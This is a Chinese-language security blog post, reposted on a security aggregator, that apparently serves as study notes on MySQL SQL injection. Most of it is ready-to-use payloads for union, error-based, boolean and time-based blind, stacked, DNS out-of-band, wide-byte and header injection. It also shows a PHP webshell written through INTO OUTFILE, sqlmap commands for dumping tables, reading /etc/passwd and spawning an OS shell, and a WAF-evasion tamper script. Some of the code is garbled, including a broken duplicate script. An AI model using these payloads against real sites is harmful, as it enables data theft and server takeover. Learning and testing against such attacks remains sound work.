SQL注入

admin 2026-01-17 01:41:22 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文章系统梳理MySQLSQL注入:从root/单用户数据库管理模式、information_schema元数据结构,到联合、报错、布尔、时间、堆叠、带外、二次、宽字节、Cookie/Base64/XFF等特殊位置注入原理与payload;给出secure-file-priv文件读写限制、跨库查询、常用函数与盲注逐字符猜解技巧,并附SqlMap命令、tamper绕过WAF示例及减0、盐哈希等题目技巧,提供完整手工与工具利用流程。 综合评分: 88 文章分类: WEB安全,渗透测试,漏洞分析,安全工具,CTF


cover_image

SQL注入

原创

zoe zoe

哦0吼

2026年1月16日 09:22 河北

MySQL

1、数据库管理两种模式

1、数据库统一管理(root用户)

root用户

网站A  testA

网站B    testB

2、数据库一对一管理(不同用户)

testA用户

网站A  testA

testB用户

网站B    testB

2、数据库数据层级结构

数据库名

表名

列名(字段名)

数据

3、默认在数据库存放的数据库(information_schema)

其中的三个表:SCHEMATA、TABLES、COLUMNS

SCHEMATA

schemata表:用于存储创建的数据库名    字段名为schema_name(数据库名)

TABLES

tables表:用于存储创建的所有数据库名和表名     字段名:table_schema  (所属数据库)  table_name(表名)

COLUMNS

columns表存储创建的所有数据库库名,表名,字段名    table_schema    table_name    column_name

4、有关函数,变量

查询数据库版本:version()

查看数据库用户:user()   (看是否符合ROOT型注入攻击  –跨库查询)

跨库查询:

union slelect 1,2,group_concat(schema_name) from information_schema.schemata

union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’数据库名’

union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=’数据库名’ and table_name=’表名’

判断当前操作系统:@@version_compile_os

查询数据库名:database()

查询结果拼为单个字符串返回:group_concat()

拼接多个字符串为一个字符串 :concat()

截取字符串:substr(str,pos,len) 盲注中逐字符猜解数据(pos 为起始位置,len 为截取长度,通常设为 1)

将字符转换为对应的 ASCII 码:ascii()

获取字符串长度:length()

让数据库执行延迟 n 秒返回:sleep(n)

if(condition, res1, res2) 条件判断函数 盲注中构造条件,满足时返回 res1,不满足返回 res2(如结合 sleep () 实现时间盲注)

load_file(path) 读取目标服务器上的文件 高权限下读取服务器敏感文件(如配置文件、密码文件)

into outfile ‘path’ 将查询结果写入目标服务器文件 高权限下写入恶意文件(如 PHP 一句话木马),获取 Web 权限

5、 MySQL 文件读写相关 – secure-file-priv 配置

常见配置状态:

secure-file-priv=””:无限制,允许读写任意路径(高危)

secure-file-priv=”D:\mysql\file\”:仅允许读写指定目录(中危)

secure-file-priv=NULL:禁止所有文件读写操作(安全)

文件读写路径注意事项:

Windows 系统:支持\和/,如D:\1.txt(转义后)、D:/1.txt

Linux 系统:仅支持/,如/tmp/1.txt、/var/www/html/1.php

未知路径的获取思路:

利用报错信息泄露路径(如 PHP 报错显示网站根目录)

查找 phpinfo 页面(泄露document_root等核心路径)

尝试常见默认路径(如 Nginx 默认路径/usr/share/nginx/html/、Tomcat 默认路径/usr/local/tomcat/webapps/)

secure-file-priv设置

load_file(d:\1.txt)

load_file(d:/1.txt)

union select 1,2,<?php eval($_POST(x)?> into outfile ‘D:\1.php’

Mysql注入中load_file()函数的使用-腾讯云开发者社区-腾讯云

SQL注入

1、注入语句类型

1、数字型    select * from news where id=sid;

2、字符型   select * from news where id=’$id’;

3、搜索型    select * from newslwhere id like ‘%$id%’

4、框架型    select * from news where id=(‘$id’);    select * from news where (id=’$id’);

2、常用注释符

注释符”#” “–” “/**/” “–+”

3、分页函数limit

4、漏洞探测方法

用and 1=1 and 1=2测试猜测是否存在sql漏洞,使用什么方法

核心判断依据:逻辑真和逻辑假的请求返回结果存在明显差异,大概率存在 SQL 注入漏洞。

SQL注入各类型操作

1、联合注入:(适合有回显的)

1.尝试得到是什么类型的语句

?id=1?id=1′?id=1″?id=1′)?id=1″)

2.通过order by判断表的列数

?id=1′)order by 1,2……

3.通过union select 确认回显位

?id=-1′ union select 1,2 –+  # 页面显示 1、2 → 这两个位置是回显点

4.查询数据库名

?id=-1′)union select database(),version(),@@version_compile_os–+

-1是为了查询失败,是后面语句进行,三个参数因为要查询对应列数(注意:注入语句与原sql语句列数相同)

5.查询所有表名

information_schema.tables表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。

?id=-1′)union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=’数据库名’–+

6.查询字段名

?id=-1′)union select 1,2,group_concat(column_name)   from information_schema.columns where table_name=’表名’ and table_schema=’数据库名’–+

7.查询数据

?id=-1′)union select 1,2,group_concat(username,id,password) from 表名–+

2、报错注入( 有报错回显、无正常数据回显)

页面会显示数据库报错信息(如 MySQL 的You have an error in your SQL syntax),常用报错函数有updatexml()、extractvalue()。

常用updatexml()报错注入 payload(核心)

查询目标 payload 示例:

数据库版本 ?id=1 and updatexml(1, concat(0x7e, (select @@version), 0x7e), 1) –+

当前连接用户 ?id=1 and updatexml(1, concat(0x7e, (select user()), 0x7e), 1) –+

当前数据库 ?id=1 and updatexml(1, concat(0x7e, (select database()), 0x7e), 1) –+

目标数据库表名 ?id=1 and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema='[目标数据库名]’ limit 0,1), 0x7e), 1) –+

目标表字段名 ?id=1 and updatexml(1, concat(0x7e, (select column_name from information_schema.columns where table_schema='[目标数据库名]’ and table_name='[目标表名]’ limit 0,1), 0x7e), 1) –+

目标字段数据 ?id=1 and updatexml(1, concat(0x7e, (select concat(username, ‘:’, password) from [目标表名] limit 0,1), 0x7e), 1) –+

说明

0x7e是十六进制的~,用于区分查询结果和报错信息的默认内容

由于长度限制,需通过limit m,1逐行获取数据

3、布尔注入:(适合页面对于错误和正确结果有不同反应。无回显)

核心原理

通过 length()(判断长度)、substr()(截取字符)、ascii()(字符转 ASCII 码)构造布尔条件,逐一猜解数据。

1.猜数据库

1.长度

?id=1’and length((select database()))>9–+

大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4

2.猜字符

?id=1’and ascii(substr((select database()),1,1))=115–+

substr(“78909”,1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。

2.猜表名

?id=1’and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13–+

判断所有表名字符长度。

?id=1’and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99–+

逐一判断表名

?id=1’and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’users’))>20–+

3.猜字段名

判断所有字段名的长度

?id=1’and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’users’),1,1))>99–+

逐一判断字段名。

?id=1′ and length((select group_concat(username,password) from users))>109–+

判断字段内容长度

?id=1′ and ascii(substr((select group_concat(username,password) from users),1,1))>50–+

4、 时间注入:(页面一直不变)

核心原理

若条件为真,执行 sleep(秒数) 让页面延迟响应;若为假,不延迟。

?id=1′ and if(1=1,sleep(5),1)–+

判断参数构造。

?id=1’and if(length((select database()))>9,sleep(5),1)–+

判断数据库名长度

?id=1’and if(ascii(substr((select database()),1,1))=115,sleep(5),1)–+

逐一判断数据库字符

?id=1’and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)–+

判断所有表名长度

?id=1’and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)–+

逐一判断表名

?id=1’and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’users’))>20,sleep(5),1)–+

判断所有字段名的长度

?id=1’and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’users’),1,1))>99,sleep(5),1)–+

逐一判断字段名。

?id=1′ and if(length((select group_concat(username,password) from users))>109,sleep(5),1)–+

判断字段内容长度

?id=1′ and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)–+

逐一检测内容。

5、堆叠注入

  1. 核心原理:支持执行多条 SQL 语句,语句之间用;分隔
  2. 前提条件:数据库驱动支持多条语句执行(如mysqli_multi_query(),mysqli_query()不支持)

‘;select if(substr(user(),1,1)=’r’,sleep(3),1)%23

6、带外注入

核心原理:解决无回显、无法使用时间盲注的场景,通过 HTTP、DNS、SMB 等外部协议,将数据带出到攻击者的服务器

eg:  /?id=-1 and if ((select load_file(concat(‘\\’,(select version()),’.xxxx.ceye.io\abc’))),1,0)–+

CEYE – Monitor service for security testing、

dnslog.cn

7、二次注入

攻击分两步”,且 payload 会被 “延迟执行”        eg:先注册用户,然后登录时执行恶意代码

参数必须经过转义

8、宽字节注入

在传入时,传入的单引号被转义字符转义(出现反斜杠),导致参数ID无法逃出单引号包围。当数据库编码为GBK时可使用宽字节注入。宽字节的格式是在地址后先加一个%df,再加单引号,因为反斜杠的编码为%5c,而在GBK编码中,%df%5c是繁体字所以这时,单引号成功“逃逸”,报出MySQL数据库的错误。

id=1%df’(加%df其余同上)

9、特殊位置注入

发现URL中没有GET参数,但是页面返回正常,使用BurpSuite抓取数据包,发现Cookie中存在id=1的参数。

在cookie改为id’等操作(同上)

Base64注入

从URL中可以看出,参数ID经过Base64编码(“%3d”是“=”的URL编码格式)解码后发现ID为1,尝试加上一个单引号并一起转成Base64编码

转base64编码再传    (方法同上

XFF注入

X-Forwarded-For简称XFF头,它代表客户端真实的IP地址,通过修改X-Forwarded-For的值可以伪造客户端IP地址,在请求头中将X-Forwarded-For设置为127.0.0.1,然后访问该URL,页面返回正常。

在X-Forwarded-For里面改     (方法同上)

SqlMap使用

查看所有数据库:sqlmap -u ‘http://xx/?id=1’ –dbs

查看当前使用数据库:sqlmap -u ‘http://xx/?id=1’ –current-db

查看数据表:sqlmap -u ‘http://xx/?id=1’ -D ‘security’(数据库名) –tables

查看字段:sqlmap -u ‘http://xx/?id=1’ -D ‘security’ -T ‘users’ –columns

查看数据:sqlmap -u ‘http://xx/?id=1’ -D ‘security’ -T ‘users’ –dump

注意:sqlmap 的核心功能是 “注入测试”,但前提是它能 复现目标 HTTP 请求(无论是 GET 还是 POST)—— 只有复现了请求,才能在参数中插入注入 payload,进而判断是否存在漏洞。若参数不是直接拼在URL中的需要保存成txt文件(保存完整的 HTTP 请求原始格式

sqlmap -r txt文件 –dbs

高级功能命令(权限利用)

查看当前用户权限 sqlmap -u ‘http://xxx/?id=1’ –privileges 列出当前数据库用户的所有权限

判断是否为 DBA(管理员)权限 sqlmap -u ‘http://xxx/?id=1’ –is-dba 核心判断,DBA 权限支持文件读写、系统命令执行

读取目标服务器文件 sqlmap -u ‘http://xxx/?id=1’ –file-read ‘/etc/passwd’ 高权限下读取服务器敏感文件

写入文件到目标服务器 sqlmap -u ‘http://xxx/?id=1’ –file-write ‘local.php’ –file-dest ‘/var/www/html/1.php’

执行系统命令 sqlmap -u ‘http://xxx/?id=1’ –os-cmd ‘id’ 高权限下执行系统命令

获取交互式系统 Shell sqlmap -u ‘http://xxx/?id=1’ –os-shell 进入交互式 Shell,执行多条系统命令

获取 SQL 交互式 Shell sqlmap -u ‘http://xxx/?id=1’ –sql-shell 进入数据库交互式 Shell,执行原生 SQL 语句

辅助配置命令(优化探测效果)

调整详细程度(0-6) sqlmap -u ‘http://xxx/?id=1’ –dbs -v 3 -v 3显示注入 payload 和 HTTP 请求,便于调试

多线程探测 sqlmap -u ‘http://xxx/?id=1’ –dbs –threads 5 –threads 5开启 5 线程,提升探测速度

自定义 User-Agent sqlmap -u ‘http://xxx/?id=1’ –dbs –user-agent ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0’ 绕过简单的 User-Agent 过滤

代理探测 sqlmap -u ‘http://xxx/?id=1’ –dbs –proxy ‘http://127.0.0.1:8080’ 通过代理(如 Burp)进行探测,便于抓包分析

调整测试等级和风险 sqlmap -u ‘http://xxx/?id=1’ –dbs –level 3 –risk 2

–level(1-5)指定测试等级,–risk(0-3)指定风险等级,等级越高,探测越全面,误报越高

自定义 tamper 脚本(绕过 WAF / 过滤)

核心作用:修改 SqlMap 的默认 payload,绕过 WAF 的关键字过滤(如过滤SELECT、UNION等)

简单示例(大小写混淆绕过):

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():

pass

def tamper(payload, **kwargs):

if payload:

payload = payload.replace(“SELECT”, “Select”)

payload = payload.replace(“UNION”, “Union”)

payload = payload.replace(“AND”, “And”)

return payload

使用方法:sqlmap -u ‘http://xxx/?id=1’ –dbs –tamper ‘custom_tamper.py’

  1. sqlmap超详细笔记+思维导图 – bmjoker – 博客园

lib.core.enumsimport PRIORITYfrom

_priority_= PRIORITY.LOW

def dependencies():pass

def tamper(payload, **kwargs):if payload:

payload = payload.replace(“SELECT”,”Select”)

payload = payload.replace(“OR”,”Or”)

payload = payload.replace(“AND”, “aND”)payload = payload.replace(“XOR”,”xOR”payload = payload.replace(“ELT”,”Elt”)return payload

分析拓展-代理&调试&指纹&风险&等级1、后期分析调试:

-v=(0-6)#详细的等级(0-6)–proxy “http://xx:xx”#代理注入

2、打乱默认指纹:

–user-agent “”#自定义user-agent–random-ageht#随机user-agent–time-sec=(2,5)#延迟响应,默认为5

3、使用更多的测试:测试Header注入

–level=(1-5)#要执行的测试水平等级,默认为1#测试执行的风险等级,默认为1–risk=(0-3)

题目积累:

减0

构造用户名与数字做-法,从而绕过查询的判断进行注入

xxx’-0-‘

SELECT * FROM user WHERE username = ‘xxx’-0-”

这就相当于用字符串 ‘xxx’ – 0 (SQL 语句中非数字的字符串,还有空字符串都会转换成数字 0,如果是数字字符串就使用对应数值参与运算),所以这时 ‘xxx’ 运算时就是 0,那么 0 – 0 结果是 0

SELECT * FROM user WHERE username = 0-”

相当于继续用 0 – ” ,刚才说过了空字符串也会转换为数字 0,那么继续 0 – 后面的 0,原地结果还是 0,最终的 SQL 语句

SELECT * FROM user WHERE username = 0

Bugku 题目 都过滤了

盐哈希加密,注入

盐哈希与AES加密:我们该如何保护好用户数据?_数据库哈希值盐值-CSDN博客

#

[Bugku]sqli-0x1 – 困困小猫log – 博客园

bugku sqli-0x1笔记-CSDN博客

常见 SQL 注入绕过方法_sql注入绕过密码登录-CSDN博客


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:哦0吼 zoe zoe《SQL注入》

SQL注入 网络安全文章

SQL注入

文章总结: 文章系统梳理MySQLSQL注入:从root/单用户数据库管理模式、information_schema元数据结构,到联合、报错、布尔、时间、堆叠、
评论:0   参与:  0